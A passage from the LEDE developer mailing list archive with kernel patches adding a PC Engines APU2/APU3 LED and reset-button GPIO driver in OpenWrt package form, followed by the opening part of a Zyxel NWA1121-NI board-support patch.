+	$(EXTRA_KCONFIG)
+
+define Build/Compile
+	 $(MAKE) -C "$(LINUX_DIR)" \
+		$(MAKE_OPTS) \
+		modules
+endef
+
+$(eval $(call KernelPackage,leds-apu2))
diff --git a/package/kernel/leds-apu2/src/Kconfig b/package/kernel/leds-apu2/src/Kconfig
new file mode 100644
index 0000000..d0ad5be
--- /dev/null
+++ b/package/kernel/leds-apu2/src/Kconfig
@@ -0,0 +1,8 @@
+config LEDS_APU2
+        tristate "PC Engines APU2/APU3 LED support"
+        depends on LEDS_CLASS
+        depends on LEDS_GPIO
+        depends on GPIOLIB
+        help
+          Say yes here to enable support for the CPU GPIO pins on the PC Engines
+          APU2/APU3 board, which enables the front LEDs and Reset Button.
diff --git a/package/kernel/leds-apu2/src/Makefile b/package/kernel/leds-apu2/src/Makefile
new file mode 100644
index 0000000..4f77b39
--- /dev/null
+++ b/package/kernel/leds-apu2/src/Makefile
@@ -0,0 +1 @@
+obj-${CONFIG_LEDS_APU2}    += leds-apu2.o
diff --git a/package/kernel/leds-apu2/src/leds-apu2.c b/package/kernel/leds-apu2/src/leds-apu2.c
new file mode 100644
index 0000000..8da8a2d
--- /dev/null
+++ b/package/kernel/leds-apu2/src/leds-apu2.c
@@ -0,0 +1,374 @@
+/*
+ *  APU2 LED/GPIO Driver
+ *  Copyright (c) 2016 Christian Lamparter <chunkeey (at) googlemail.com>
+ *
+ *  Based on gpio-apu2.c - AMD FCH GPIO support for PC-Engines APU-2 board
+ *
+ *  Copyright (c) 2015  Carsten Spiess <fli4l at carsten-spiess.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+ #include <linux/module.h>
+ #include <linux/types.h>
+ #include <linux/miscdevice.h>
+ #include <linux/gpio.h>
+ #include <linux/init.h>
+ #include <linux/pci.h>
+ #include <linux/ioport.h>
+ #include <linux/platform_device.h>
+ #include <linux/uaccess.h>
+ #include <linux/io.h>
+ #include <linux/version.h>
+ #include <linux/dmi.h>
+ #include <linux/string.h>
+
+ #include <linux/leds.h>
+ #include <linux/input.h>
+ #include <linux/gpio_keys.h>
+
+ #define DEVNAME                 "leds-apu2"
+
+ #define FCH_ACPI_MMIO_BASE      0xFED80000
+ #define FCH_GPIO_BASE           (FCH_ACPI_MMIO_BASE + 0x1500)
+ #define FCH_GPIO_SIZE           0x300
+
+ #define APU_NUM_GPIO            4
+
+ #define GPIO_BIT_DIR            23
+ #define GPIO_BIT_WRITE          22
+ #define GPIO_BIT_READ           16
+
+ /* internal variables */
+ static struct pci_dev *gpio_apu2_pci;
+ static DEFINE_SPINLOCK (gpio_lock);
+
+ /* the watchdog platform device */
+ static struct platform_device *gpio_apu2_platform_device;
+ static struct platform_device *leddev;
+ static struct platform_device *keydev;
+
+ static const struct pci_device_id gpio_apu2_pci_tbl[] ={
+ 	{PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID, PCI_ANY_ID},
+ 	{ 0, } /* End of list */
+ };
+ MODULE_DEVICE_TABLE (pci, gpio_apu2_pci_tbl);
+
+ /* EGPIO89=GPIO32, AGPIO68=GPIO57, AGPIO69=GPIO58, AGPIO70=GPIO59 */
+ static u8 gpio_offset[APU_NUM_GPIO] = {89, 68, 69, 70};
+
+ static void __iomem *gpio_addr[APU_NUM_GPIO] = {NULL, NULL, NULL, NULL};
+
+ static int gpio_apu2_get_dir (struct gpio_chip *chip, unsigned offset)
+ {
+ 	u32 val;
+
+ 	val = ~ioread32 (gpio_addr[offset]);
+
+ 	return (val >> GPIO_BIT_DIR) & 1;
+ }
+
+ static int gpio_apu2_dir_in (struct gpio_chip *gc, unsigned offset)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+ 	val &= ~BIT(GPIO_BIT_DIR);
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+
+ 	return 0;
+ }
+
+ static int gpio_apu2_dir_out (struct gpio_chip *chip, unsigned offset,
+ 		int value)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+ 	val |= BIT(GPIO_BIT_DIR);
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+
+ 	return 0;
+ }
+
+ static int gpio_apu2_get_data (struct gpio_chip *chip, unsigned offset)
+ {
+ 	u32 val;
+
+ 	val = ioread32 (gpio_addr[offset]);
+
+ 	return (val >> GPIO_BIT_READ) & 1;
+ }
+
+ static void gpio_apu2_set_data (struct gpio_chip *chip, unsigned offset, int value)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+
+ 	if (value)
+ 		val |= BIT(GPIO_BIT_WRITE);
+ 	else
+ 		val &= ~BIT(GPIO_BIT_WRITE);
+
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+ }
+
+ static struct gpio_chip gpio_apu2_chip = {
+ 	.label = DEVNAME,
+ 	.owner = THIS_MODULE,
+ 	.base = -1,
+ 	.ngpio = APU_NUM_GPIO,
+ 	.get_direction = gpio_apu2_get_dir,
+ 	.direction_input = gpio_apu2_dir_in,
+ 	.direction_output = gpio_apu2_dir_out,
+ 	.get = gpio_apu2_get_data,
+ 	.set = gpio_apu2_set_data,
+ };
+
+ /*
+  *
+  */
+ static int gpio_apu2_probe (struct platform_device *dev)
+ {
+ 	int ret = 0;
+ 	int i;
+ 	struct pci_dev *pci_dev = NULL;
+
+ 	/* Match the PCI device */
+ 	for_each_pci_dev (pci_dev) {
+ 		if (pci_match_id (gpio_apu2_pci_tbl, pci_dev) != NULL) {
+ 			gpio_apu2_pci = pci_dev;
+ 			break;
+ 		}
+ 	}
+
+ 	if (!gpio_apu2_pci)
+ 		return -ENODEV;
+
+ 	pr_info ("%s: PCI Revision ID: 0x%x\n", DEVNAME, gpio_apu2_pci->revision);
+
+ 	/* Determine type of southbridge chipset */
+ 	if (gpio_apu2_pci->revision < 0x40) {
+ 		return -EACCES;
+ 	}
+
+ 	/* Request memory region for GPIO's */
+ 	if (!devm_request_mem_region (&dev->dev, FCH_GPIO_BASE,
+ 		FCH_GPIO_SIZE, DEVNAME)){
+ 		pr_err ("%s: request GPIO mem region failed\n", DEVNAME);
+ 		return -ENXIO;
+ 	}
+
+ 	/* Map IO's for GPIO's */
+ 	for (i = 0; i < APU_NUM_GPIO; i++) {
+ 		gpio_addr[i] = devm_ioremap (&dev->dev,
+ 			FCH_GPIO_BASE + (gpio_offset[i] * sizeof (u32)), sizeof (u32));
+ 		if (!gpio_addr[i]) {
+ 			pr_err ("%s: map GPIO%d address failed\n", DEVNAME, gpio_offset[i]);
+ 			return -ENXIO;
+ 		}
+ 	}
+
+ 	gpio_apu2_chip.dev = &dev->dev;
+ 	ret = gpiochip_add (&gpio_apu2_chip);
+ 	if (ret) {
+ 		pr_err ("%s: adding gpiochip failed\n", DEVNAME);
+ 	}
+
+ 	return ret;
+ }
+
+ static int gpio_apu2_remove (struct platform_device *dev)
+ {
+ #if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+ 	int ret;
+ 	ret = gpiochip_remove (&gpio_apu2_chip);
+ #else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+ 	gpiochip_remove (&gpio_apu2_chip);
+ #endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+ 	return 0;
+ }
+
+ static struct platform_driver gpio_apu2_driver = {
+ 	.probe = gpio_apu2_probe,
+ 	.remove = gpio_apu2_remove,
+ 	.driver = {
+ 		.owner = THIS_MODULE,
+ 		.name = DEVNAME
+ 	}
+ };
+
+ static struct gpio_led apu2_leds_gpio[] = {
+         {
+                 .name           = "apu2:green:power",
+                 .gpio           = 509,
+                 .active_low     = 1,
+         },
+         {
+                 .name           = "apu2:green:led2",
+                 .gpio           = 510,
+                 .active_low     = 1,
+         },
+         {
+                 .name           = "apu2:green:led3",
+                 .gpio           = 511,
+                 .active_low     = 1,
+         },
+ };
+
+ static struct gpio_keys_button apu2_gpio_keys[] = {
+ 	{
+ 		.desc           = "Reset button",
+ 		.type           = EV_KEY,
+ 		.code           = KEY_RESTART,
+ 		.debounce_interval = 60,
+ 		.gpio           = 508,
+ 		.active_low     = 1,
+ 	},
+ };
+
+ static void register_gpio_keys_polled(int id, unsigned poll_interval,
+ 				      unsigned nbuttons,
+ 				      struct gpio_keys_button *buttons)
+ {
+ 	struct gpio_keys_platform_data pdata = { };
+ 	int err;
+
+ 	keydev = platform_device_alloc("gpio-keys-polled", id);
+ 	if (!keydev) {
+ 		printk(KERN_ERR "Failed to allocate gpio-keys platform device\n");
+ 		return;
+ 	}
+
+ 	pdata.poll_interval = poll_interval;
+ 	pdata.nbuttons = nbuttons;
+ 	pdata.buttons = buttons;
+
+ 	err = platform_device_add_data(keydev, &pdata, sizeof(pdata));
+ 	if (err) {
+ 		dev_err(&keydev->dev, "failed to add platform data to key driver (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	err = platform_device_add(keydev);
+ 	if (err) {
+ 		dev_err(&keydev->dev, "failed to register key platform device (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	return;
+
+ err_put_pdev:
+ 	platform_device_put(keydev);
+ 	keydev = NULL;
+ }
+
+ static void register_leds_gpio(int id, unsigned num_leds, struct gpio_led *leds)
+ {
+ 	struct gpio_led_platform_data pdata = { };
+ 	int err;
+
+ 	leddev = platform_device_alloc("leds-gpio", id);
+ 	if (!leddev) {
+ 		printk(KERN_ERR "Failed to allocate leds-gpio platform device\n");
+ 		return;
+ 	}
+
+ 	pdata.num_leds = num_leds;
+ 	pdata.leds = leds;
+
+ 	err = platform_device_add_data(leddev, &pdata, sizeof(pdata));
+ 	if (err) {
+ 		dev_err(&leddev->dev, "failed to add platform data to key driver (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	err = platform_device_add(leddev);
+ 	if (err) {
+ 		dev_err(&leddev->dev, "failed to register key platform device (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	return;
+
+ err_put_pdev:
+ 	platform_device_put(leddev);
+ 	leddev = NULL;
+ }
+
+ static int __init gpio_apu2_init (void)
+ {
+ 	int err;
+	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
+	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
+
+ 	/* Match the device name/model */
+	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strcasecmp(board_name, "apu2")) {
+		err = -ENODEV;
+		goto exit;
+	}
+
+	pr_info ("%s: load APU2/LED GPIO driver module\n", DEVNAME);
+
+ 	err = platform_driver_register (&gpio_apu2_driver);
+ 	if (err)
+ 		goto exit;
+
+ 	gpio_apu2_platform_device = platform_device_register_simple (DEVNAME, -1, NULL, 0);
+ 	if (IS_ERR(gpio_apu2_platform_device)) {
+ 		err = PTR_ERR(gpio_apu2_platform_device);
+ 		goto exit_driver;
+ 	}
+
+ 	pr_info ("%s: APU2 GPIO/LED driver module loaded\n", DEVNAME);
+
+ 	register_leds_gpio(-1, ARRAY_SIZE(apu2_leds_gpio), apu2_leds_gpio);
+ 	register_gpio_keys_polled(-1, 20, ARRAY_SIZE(apu2_gpio_keys), apu2_gpio_keys);
+ 	return 0;
+
+ exit_driver:
+ 	platform_driver_unregister (&gpio_apu2_driver);
+ exit:
+ 	return err;
+ }
+
+ static void __exit gpio_apu2_exit (void)
+ {
+ 	platform_device_unregister (gpio_apu2_platform_device);
+ 	platform_device_unregister (leddev);
+ 	platform_device_unregister (keydev);
+ 	platform_driver_unregister (&gpio_apu2_driver);
+ 	pr_info ("%s: APU2 GPIO/LED driver module unloaded\n", DEVNAME);
+ }
+
+ MODULE_AUTHOR ("Carsten Spiess <fli4l at carsten-spiess.de>");
+ MODULE_DESCRIPTION("GPIO driver for AMD FCH on PC-Engines APU-2");
+ MODULE_LICENSE("GPL");
+
+ module_init (gpio_apu2_init);
+ module_exit (gpio_apu2_exit);
-- 
2.7.4



From chrisrblake93 at gmail.com  Wed Jan 25 09:23:19 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Wed, 25 Jan 2017 11:23:19 -0600
Subject: [LEDE-DEV] [PATCH v3] leds-apu2: Add PC Engines APU2 LED driver
Message-ID: <1485364999-26300-1-git-send-email-chrisrblake93@gmail.com>

This adds support for the PCB LEDs and Reset Button found on the PC
Engines APU2/APU3 embedded boards.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 package/kernel/leds-apu2/Makefile        |  52 +++++
 package/kernel/leds-apu2/src/Kconfig     |   8 +
 package/kernel/leds-apu2/src/Makefile    |   1 +
 package/kernel/leds-apu2/src/leds-apu2.c | 374 +++++++++++++++++++++++++++++++
 4 files changed, 435 insertions(+)
 create mode 100644 package/kernel/leds-apu2/Makefile
 create mode 100644 package/kernel/leds-apu2/src/Kconfig
 create mode 100644 package/kernel/leds-apu2/src/Makefile
 create mode 100644 package/kernel/leds-apu2/src/leds-apu2.c

diff --git a/package/kernel/leds-apu2/Makefile b/package/kernel/leds-apu2/Makefile
new file mode 100644
index 0000000..bab2315
--- /dev/null
+++ b/package/kernel/leds-apu2/Makefile
@@ -0,0 +1,52 @@
+#
+# Copyright (C) 2017 Chris Blake <chrisrblake93 at gmail.com>
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+include $(TOPDIR)/rules.mk
+include $(INCLUDE_DIR)/kernel.mk
+
+PKG_NAME:=leds-apu2
+PKG_RELEASE:=1
+
+PKG_MAINTAINER:=Chris Blake <chrisrblake93 at gmail.com>
+PKG_LICENSE:=GPL-2.0
+
+include $(INCLUDE_DIR)/package.mk
+
+define KernelPackage/leds-apu2
+  SUBMENU:=LED modules
+  TITLE:= PC Engines APU2/APU3 LED support
+  DEPENDS:= @GPIO_SUPPORT @TARGET_x86
+  FILES:=$(PKG_BUILD_DIR)/leds-apu2.ko
+  AUTOLOAD:=$(call AutoLoad,41,leds-apu2,1)
+  KCONFIG:=
+endef
+
+define KernelPackage/leds-apu2/description
+  Driver for the PC Engines APU2/APU3 LEDs & Reset Button.
+endef
+
+EXTRA_KCONFIG:= \
+	CONFIG_LEDS_APU2=m
+
+EXTRA_CFLAGS:= \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=m,%,$(filter %=m,$(EXTRA_KCONFIG)))) \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=y,%,$(filter %=y,$(EXTRA_KCONFIG)))) \
+
+MAKE_OPTS:= \
+	ARCH="$(LINUX_KARCH)" \
+	CROSS_COMPILE="$(TARGET_CROSS)" \
+	SUBDIRS="$(PKG_BUILD_DIR)" \
+	EXTRA_CFLAGS="$(EXTRA_CFLAGS)" \
+	$(EXTRA_KCONFIG)
+
+define Build/Compile
+	 $(MAKE) -C "$(LINUX_DIR)" \
+		$(MAKE_OPTS) \
+		modules
+endef
+
+$(eval $(call KernelPackage,leds-apu2))
diff --git a/package/kernel/leds-apu2/src/Kconfig b/package/kernel/leds-apu2/src/Kconfig
new file mode 100644
index 0000000..d0ad5be
--- /dev/null
+++ b/package/kernel/leds-apu2/src/Kconfig
@@ -0,0 +1,8 @@
+config LEDS_APU2
+        tristate "PC Engines APU2/APU3 LED support"
+        depends on LEDS_CLASS
+        depends on LEDS_GPIO
+        depends on GPIOLIB
+        help
+          Say yes here to enable support for the CPU GPIO pins on the PC Engines
+          APU2/APU3 board, which enables the front LEDs and Reset Button.
diff --git a/package/kernel/leds-apu2/src/Makefile b/package/kernel/leds-apu2/src/Makefile
new file mode 100644
index 0000000..4f77b39
--- /dev/null
+++ b/package/kernel/leds-apu2/src/Makefile
@@ -0,0 +1 @@
+obj-${CONFIG_LEDS_APU2}    += leds-apu2.o
diff --git a/package/kernel/leds-apu2/src/leds-apu2.c b/package/kernel/leds-apu2/src/leds-apu2.c
new file mode 100644
index 0000000..00f80a3
--- /dev/null
+++ b/package/kernel/leds-apu2/src/leds-apu2.c
@@ -0,0 +1,374 @@
+/*
+*  APU2 LED/GPIO Driver
+*  Copyright (c) 2016 Christian Lamparter <chunkeey (at) googlemail.com>
+*
+*  Based on gpio-apu2.c - AMD FCH GPIO support for PC-Engines APU-2 board
+*
+*  Copyright (c) 2015  Carsten Spiess <fli4l at carsten-spiess.de>
+*
+*  This program is free software; you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2 of the License, or
+*  (at your option) any later version.
+*
+*  This program is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU General Public License for more details.
+*
+*  You should have received a copy of the GNU General Public License
+*  along with this program; if not, write to the Free Software
+*  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+*/
+
+#include <linux/module.h>
+#include <linux/types.h>
+#include <linux/miscdevice.h>
+#include <linux/gpio.h>
+#include <linux/init.h>
+#include <linux/pci.h>
+#include <linux/ioport.h>
+#include <linux/platform_device.h>
+#include <linux/uaccess.h>
+#include <linux/io.h>
+#include <linux/version.h>
+#include <linux/dmi.h>
+#include <linux/string.h>
+
+#include <linux/leds.h>
+#include <linux/input.h>
+#include <linux/gpio_keys.h>
+
+#define DEVNAME                 "leds-apu2"
+
+#define FCH_ACPI_MMIO_BASE      0xFED80000
+#define FCH_GPIO_BASE           (FCH_ACPI_MMIO_BASE + 0x1500)
+#define FCH_GPIO_SIZE           0x300
+
+#define APU_NUM_GPIO            4
+
+#define GPIO_BIT_DIR            23
+#define GPIO_BIT_WRITE          22
+#define GPIO_BIT_READ           16
+
+/* internal variables */
+static struct pci_dev *gpio_apu2_pci;
+static DEFINE_SPINLOCK (gpio_lock);
+
+/* the watchdog platform device */
+static struct platform_device *gpio_apu2_platform_device;
+static struct platform_device *leddev;
+static struct platform_device *keydev;
+
+static const struct pci_device_id gpio_apu2_pci_tbl[] ={
+	{PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID, PCI_ANY_ID},
+	{ 0, } /* End of list */
+};
+MODULE_DEVICE_TABLE (pci, gpio_apu2_pci_tbl);
+
+/* EGPIO89=GPIO32, AGPIO68=GPIO57, AGPIO69=GPIO58, AGPIO70=GPIO59 */
+static u8 gpio_offset[APU_NUM_GPIO] = {89, 68, 69, 70};
+
+static void __iomem *gpio_addr[APU_NUM_GPIO] = {NULL, NULL, NULL, NULL};
+
+static int gpio_apu2_get_dir (struct gpio_chip *chip, unsigned offset)
+{
+	u32 val;
+
+	val = ~ioread32 (gpio_addr[offset]);
+
+	return (val >> GPIO_BIT_DIR) & 1;
+}
+
+static int gpio_apu2_dir_in (struct gpio_chip *gc, unsigned offset)
+{
+	u32 val;
+
+	spin_lock_bh (&gpio_lock);
+
+	val = ioread32 (gpio_addr[offset]);
+	val &= ~BIT(GPIO_BIT_DIR);
+	iowrite32 (val, gpio_addr[offset]);
+
+	spin_unlock_bh (&gpio_lock);
+
+	return 0;
+}
+
+static int gpio_apu2_dir_out (struct gpio_chip *chip, unsigned offset,
+		int value)
+{
+	u32 val;
+
+	spin_lock_bh (&gpio_lock);
+
+	val = ioread32 (gpio_addr[offset]);
+	val |= BIT(GPIO_BIT_DIR);
+	iowrite32 (val, gpio_addr[offset]);
+
+	spin_unlock_bh (&gpio_lock);
+
+	return 0;
+}
+
+static int gpio_apu2_get_data (struct gpio_chip *chip, unsigned offset)
+{
+	u32 val;
+
+	val = ioread32 (gpio_addr[offset]);
+
+	return (val >> GPIO_BIT_READ) & 1;
+}
+
+static void gpio_apu2_set_data (struct gpio_chip *chip, unsigned offset, int value)
+{
+	u32 val;
+
+	spin_lock_bh (&gpio_lock);
+
+	val = ioread32 (gpio_addr[offset]);
+
+	if (value)
+		val |= BIT(GPIO_BIT_WRITE);
+	else
+		val &= ~BIT(GPIO_BIT_WRITE);
+
+	iowrite32 (val, gpio_addr[offset]);
+
+	spin_unlock_bh (&gpio_lock);
+}
+
+static struct gpio_chip gpio_apu2_chip = {
+	.label = DEVNAME,
+	.owner = THIS_MODULE,
+	.base = -1,
+	.ngpio = APU_NUM_GPIO,
+	.get_direction = gpio_apu2_get_dir,
+	.direction_input = gpio_apu2_dir_in,
+	.direction_output = gpio_apu2_dir_out,
+	.get = gpio_apu2_get_data,
+	.set = gpio_apu2_set_data,
+};
+
+/*
+ *
+ */
+static int gpio_apu2_probe (struct platform_device *dev)
+{
+	int ret = 0;
+	int i;
+	struct pci_dev *pci_dev = NULL;
+
+	/* Match the PCI device */
+	for_each_pci_dev (pci_dev) {
+		if (pci_match_id (gpio_apu2_pci_tbl, pci_dev) != NULL) {
+			gpio_apu2_pci = pci_dev;
+			break;
+		}
+	}
+
+	if (!gpio_apu2_pci)
+		return -ENODEV;
+
+	pr_info ("%s: PCI Revision ID: 0x%x\n", DEVNAME, gpio_apu2_pci->revision);
+
+	/* Determine type of southbridge chipset */
+	if (gpio_apu2_pci->revision < 0x40) {
+		return -EACCES;
+	}
+
+	/* Request memory region for GPIO's */
+	if (!devm_request_mem_region (&dev->dev, FCH_GPIO_BASE,
+		FCH_GPIO_SIZE, DEVNAME)){
+		pr_err ("%s: request GPIO mem region failed\n", DEVNAME);
+		return -ENXIO;
+	}
+
+	/* Map IO's for GPIO's */
+	for (i = 0; i < APU_NUM_GPIO; i++) {
+		gpio_addr[i] = devm_ioremap (&dev->dev,
+			FCH_GPIO_BASE + (gpio_offset[i] * sizeof (u32)), sizeof (u32));
+		if (!gpio_addr[i]) {
+			pr_err ("%s: map GPIO%d address failed\n", DEVNAME, gpio_offset[i]);
+			return -ENXIO;
+		}
+	}
+
+	gpio_apu2_chip.dev = &dev->dev;
+	ret = gpiochip_add (&gpio_apu2_chip);
+	if (ret) {
+		pr_err ("%s: adding gpiochip failed\n", DEVNAME);
+	}
+
+	return ret;
+}
+
+static int gpio_apu2_remove (struct platform_device *dev)
+{
+#if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+	int ret;
+	ret = gpiochip_remove (&gpio_apu2_chip);
+#else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+	gpiochip_remove (&gpio_apu2_chip);
+#endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+	return 0;
+}
+
+static struct platform_driver gpio_apu2_driver = {
+	.probe = gpio_apu2_probe,
+	.remove = gpio_apu2_remove,
+	.driver = {
+		.owner = THIS_MODULE,
+		.name = DEVNAME
+	}
+};
+
+static struct gpio_led apu2_leds_gpio[] = {
+        {
+                .name           = "apu2:green:power",
+                .gpio           = 509,
+                .active_low     = 1,
+        },
+        {
+                .name           = "apu2:green:led2",
+                .gpio           = 510,
+                .active_low     = 1,
+        },
+        {
+                .name           = "apu2:green:led3",
+                .gpio           = 511,
+                .active_low     = 1,
+        },
+};
+
+static struct gpio_keys_button apu2_gpio_keys[] = {
+	{
+		.desc           = "Reset button",
+		.type           = EV_KEY,
+		.code           = KEY_RESTART,
+		.debounce_interval = 60,
+		.gpio           = 508,
+		.active_low     = 1,
+	},
+};
+
+static void register_gpio_keys_polled(int id, unsigned poll_interval,
+				      unsigned nbuttons,
+				      struct gpio_keys_button *buttons)
+{
+	struct gpio_keys_platform_data pdata = { };
+	int err;
+
+	keydev = platform_device_alloc("gpio-keys-polled", id);
+	if (!keydev) {
+		printk(KERN_ERR "Failed to allocate gpio-keys platform device\n");
+		return;
+	}
+
+	pdata.poll_interval = poll_interval;
+	pdata.nbuttons = nbuttons;
+	pdata.buttons = buttons;
+
+	err = platform_device_add_data(keydev, &pdata, sizeof(pdata));
+	if (err) {
+		dev_err(&keydev->dev, "failed to add platform data to key driver (%d)", err);
+		goto err_put_pdev;
+	}
+
+	err = platform_device_add(keydev);
+	if (err) {
+		dev_err(&keydev->dev, "failed to register key platform device (%d)", err);
+		goto err_put_pdev;
+	}
+
+	return;
+
+err_put_pdev:
+	platform_device_put(keydev);
+	keydev = NULL;
+}
+
+static void register_leds_gpio(int id, unsigned num_leds, struct gpio_led *leds)
+{
+	struct gpio_led_platform_data pdata = { };
+	int err;
+
+	leddev = platform_device_alloc("leds-gpio", id);
+	if (!leddev) {
+		printk(KERN_ERR "Failed to allocate leds-gpio platform device\n");
+		return;
+	}
+
+	pdata.num_leds = num_leds;
+	pdata.leds = leds;
+
+	err = platform_device_add_data(leddev, &pdata, sizeof(pdata));
+	if (err) {
+		dev_err(&leddev->dev, "failed to add platform data to key driver (%d)", err);
+		goto err_put_pdev;
+	}
+
+	err = platform_device_add(leddev);
+	if (err) {
+		dev_err(&leddev->dev, "failed to register key platform device (%d)", err);
+		goto err_put_pdev;
+	}
+
+	return;
+
+err_put_pdev:
+	platform_device_put(leddev);
+	leddev = NULL;
+}
+
+static int __init gpio_apu2_init (void)
+{
+	int err;
+	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
+	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
+
+	/* Match the device name/model */
+	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strcasecmp(board_name, "apu2")) {
+		err = -ENODEV;
+		goto exit;
+	}
+
+	pr_info ("%s: load APU2/LED GPIO driver module\n", DEVNAME);
+
+	err = platform_driver_register (&gpio_apu2_driver);
+	if (err)
+		goto exit;
+
+	gpio_apu2_platform_device = platform_device_register_simple (DEVNAME, -1, NULL, 0);
+	if (IS_ERR(gpio_apu2_platform_device)) {
+		err = PTR_ERR(gpio_apu2_platform_device);
+		goto exit_driver;
+	}
+
+	pr_info ("%s: APU2 GPIO/LED driver module loaded\n", DEVNAME);
+
+	register_leds_gpio(-1, ARRAY_SIZE(apu2_leds_gpio), apu2_leds_gpio);
+	register_gpio_keys_polled(-1, 20, ARRAY_SIZE(apu2_gpio_keys), apu2_gpio_keys);
+	return 0;
+
+exit_driver:
+	platform_driver_unregister (&gpio_apu2_driver);
+exit:
+	return err;
+}
+
+static void __exit gpio_apu2_exit (void)
+{
+	platform_device_unregister (gpio_apu2_platform_device);
+	platform_device_unregister (leddev);
+	platform_device_unregister (keydev);
+	platform_driver_unregister (&gpio_apu2_driver);
+	pr_info ("%s: APU2 GPIO/LED driver module unloaded\n", DEVNAME);
+}
+
+MODULE_AUTHOR ("Carsten Spiess <fli4l at carsten-spiess.de>");
+MODULE_DESCRIPTION("GPIO driver for AMD FCH on PC-Engines APU-2");
+MODULE_LICENSE("GPL");
+
+module_init (gpio_apu2_init);
+module_exit (gpio_apu2_exit);
-- 
2.7.4



From alexpro at itp.ac.ru  Wed Jan 25 11:34:23 2017
From: alexpro at itp.ac.ru (alexpro)
Date: Wed, 25 Jan 2017 22:34:23 +0300
Subject: [LEDE-DEV] ar71xx: support for Zyxel NWA1121-NI
Message-ID: <db5cd98c4e1f8a0f36d5e8dffd437af6@mail.itp.ac.ru>


Add support for Zyxel NWA1121-NI 802.11abgn access point.

 From 159cda7e026f3042f950248b4e62490fd7a6bbc6 Mon Sep 17 00:00:00 2001
 From: Alex Prokofiev <alexpro at itp.ac.ru>
Date: Wed, 25 Jan 2017 21:42:38 +0300
Subject: [PATCH] Support for Zyxel NWA1121-NI

Signed-off-by: Alex Prokofiev <alexpro at itp.ac.ru>
---
  .../ar71xx/files/arch/mips/ath79/mach-nwa1121.c    | 108 
+++++++++++++++++++++
  1 file changed, 108 insertions(+)
  create mode 100644 
target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c

diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c 
b/target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c
new file mode 100644
index 0000000000..783351b50f
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-nwa1121.c
@@ -0,0 +1,108 @@
+/*
+ *  This program is free software; you can redistribute it and/or 
modify it
+ *  under the terms of the GNU General Public License version 2 as 
published
+ *  by the Free Software Foundation.
+ */
+
+#include <linux/pci.h>
+#include <linux/phy.h>
+#include <linux/platform_device.h>
+#include <linux/ath9k_platform.h>
+#include <linux/ar8216_platform.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "dev-ap9x-pci.h"
+#include "dev-eth.h"
+#include "dev-gpio-buttons.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-spi.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+#include "nvram.h"
+
+#define NWA1121_GPIO_RESET	4
+#define NWA1121_GPIO_ORANGE	11
+#define NWA1121_GPIO_GREEN	12
+
+#define NWA1121_ENV			0x1ffe0000
+#define NWA1121_ART			0x1fff1000
+
+
+static const char *nwa1121_part_probes[] = {
+	"cmdlinepart",
+	NULL,
+};
+
+static struct flash_platform_data nwa1121_flash_data = {
+	.part_probes	= nwa1121_part_probes,
+};
+
+static struct gpio_led nwa1121_leds_gpio[] __initdata = {
+	{
+		.name		= "zyxel:orange",
